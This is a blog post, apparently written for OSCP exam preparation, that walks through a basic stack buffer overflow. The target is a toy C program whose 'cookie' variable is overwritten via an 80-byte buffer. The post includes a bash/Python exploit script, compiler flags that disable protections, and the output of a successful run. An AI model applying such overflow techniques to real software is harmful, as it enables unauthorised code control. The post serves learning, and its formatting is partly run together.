Hi Everyone,
I strat my new OSCP blog with a content that usually the people the people don't use to share, but is a technical skill that you of course, should learn in order to pass the OSCP certification (25 points on the final note).
What is Buffer overflow?
Buffer overflow/ Buffer overrun is a software error produced when the program don't control the input user entry data size.
This kind of software vulnerability allow the attacker overwrite memory sections on low level registers and get the control of the program flow.
You can find the complete description of this attack in the following link:
https://en.wikipedia.org/wiki/Buffer_overflow
Practice with Buffer overflow essentials:
int cookie;char buf[80];
./executablebuf: ffc20ba0 cookie: ffc20bf0My input data user entry........over write the memory
cookie: ffc20bf0
if(cookie == 0x41424344){print("You win");}
How we can exploit this vulnerability ?
Exploiting:
Design of your first personal Exploit :
The chosen develop language is bash (Linux scripting), but for exploit the binary execution on runtime we use one call to python in order to create the right input pattern:
Code Explanation:
#!/bin/bash -x // bash header -x (debug option)INPUT_FILE=$1 // set to var INPUT_FILE the first program argumentOUTPUT_BINARY=$2 // set to var OUTPUT_BINARY the second program argumentecho "\tInit process........"echo "examine : $INPUT_FILE" // show data
gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack $INPUT_FILE -o $OUTPUT_BINARY 2>/dev/null && objdump -S $OUTPUT_BINARY | grep -A 4 "cookie == "
After binary creation we found the most important part of the process in order to anderstand the buffer overflow process, using assembler program knowledges and objdump tool you can find the point on the source code that evaluate the if condition:
Obtain the memory position on little Endian (processor language):
export DIR=`objdump -S $OUTPUT_BINARY |grep -A 3 "cookie ==" | grep cmp | awk '{print "\x"$3"\x"$4"\x"$5"\x"$6}'`echo "Dir overflow ... $DIR"echo "\tInit exploit ......."
Exploiting Execution:
python3 -c "print(\"A\"*80+\"`echo $DIR`\")" | ./$OUTPUT_BINARY
Obviously you can do this:
python3 -c "print(\"A\"*80+\"<Your exploiting memory content>\")"
Compilation:
gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack stack.c -o test
./test
buf: ffb78750 cookie: ffb787a0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
you win!
Solution:
Ax80 + 0x41424344
echo "\0x41\0x42\0x43\0x44" | xxd -ps -r && echo ABCD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
And this is all for this tutorial, i hope that this could be useful for the people that want to learn the basic overflow concepts.
I want increase the content and level ;)
No comments:
Post a Comment